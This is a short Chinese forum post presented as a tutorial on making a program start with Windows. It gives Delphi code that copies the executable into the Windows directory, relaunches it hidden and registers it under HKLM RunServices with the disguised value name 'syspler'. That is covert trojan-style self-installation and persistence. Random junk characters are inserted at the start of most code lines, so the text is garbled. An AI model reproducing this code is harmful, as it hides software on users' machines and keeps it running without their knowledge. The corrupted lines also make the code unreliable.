利用注册表注册程序开机启动

admin

为了程序能在Windows每次启动时自动运行
加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:
7 _6 b: ]4 q. r" H2 h4 oprocedure TForm1.FormCreate(Sender: TObject);
const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices';
1 F/ w/ y  L9 e5 ^, zvar myname: string;
) L% y" C. [' P4 I- Obegin
{Write by Lovejingtao,替换Lovejingtao.126.com,Lovejingtao@21cn.com}
myname := ExtractFilename(Application.Exename); //获得文件名
- i! O) ^- d" ^; J1 b* O$ Tif application.Exename <> GetWindir + myname then //如果文件不是在Windows\System\那么..
' H' L& r. m+ [begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows\System\下}
Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件
application.Terminate;//退出
% X8 s$ d& g& D) m$ M. e3 qend;
* x8 Y1 c: q6 W" Q) I4 Rwith TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
$ k3 Z: k8 u. j7 w$ rOpenKey( K, TRUE );
WriteString( 'syspler', application.ExeName );
# Q3 r0 m9 w  ^: gfinally
free;
% M8 t/ ^2 L3 V6 [8 send;
end;